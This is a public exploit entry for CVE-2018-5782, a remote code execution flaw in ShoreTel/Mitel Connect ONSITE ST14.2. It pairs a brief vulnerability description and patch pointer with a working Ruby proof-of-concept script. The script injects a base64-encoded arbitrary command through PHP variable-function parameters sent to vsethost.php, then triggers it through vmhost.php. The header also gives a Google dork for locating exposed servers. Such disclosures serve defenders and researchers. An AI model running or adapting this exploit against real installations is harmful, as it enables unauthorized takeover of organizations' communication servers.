# Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
# Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0
# Date: 01-01-2019
# Exploit Author: twosevenzero
# Vendor Homepage: https://www.mitel.com/
# Version: 19.49.5200.0 (and very likely many others prior and after)
# CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)
Description
===========
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2
which, when chained together, result in remote code execution in the
context of the running service. The vendor was contacted by Jared McLaren
of SecureWorks in early 2018 but a proof of concept was not released. I had
access to a single device during the development of this exploit. As such,
your system paths may be different and you may need to edit this script to
fit your needs.
Solution
========
The vendor has released a response stating that the newest versions are not
affected. Please see their response for upgrade instructions.
https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004
#!/usr/bin/env ruby
require "base64"
require "methadone"
require "faraday"
include Methadone::Main
include Methadone::CLILogging
main do |base_url,command|
cmd_b64 = Base64.strict_encode64(command.strip)
conn = Faraday.new(:url => base_url.strip)
res = conn.get do |req|
req.url "/scripts/vsethost.php",
{
:hostId => "system",
:keyCode => "base64_decode",
:meetingType => "{${gKeyCode}($gSessionDir)}",
:sessionDir => cmd_b64,
:swfServer => "{${gHostID}($gMeetingType)}",
:server => "exec",
:dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/"
}
end
rce = conn.get do |req|
req.url "/scripts/vmhost.php"
end
print rce.body.to_s
end
version "0.1.0"
description "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"
arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation."
arg :command, "Command to run."
go!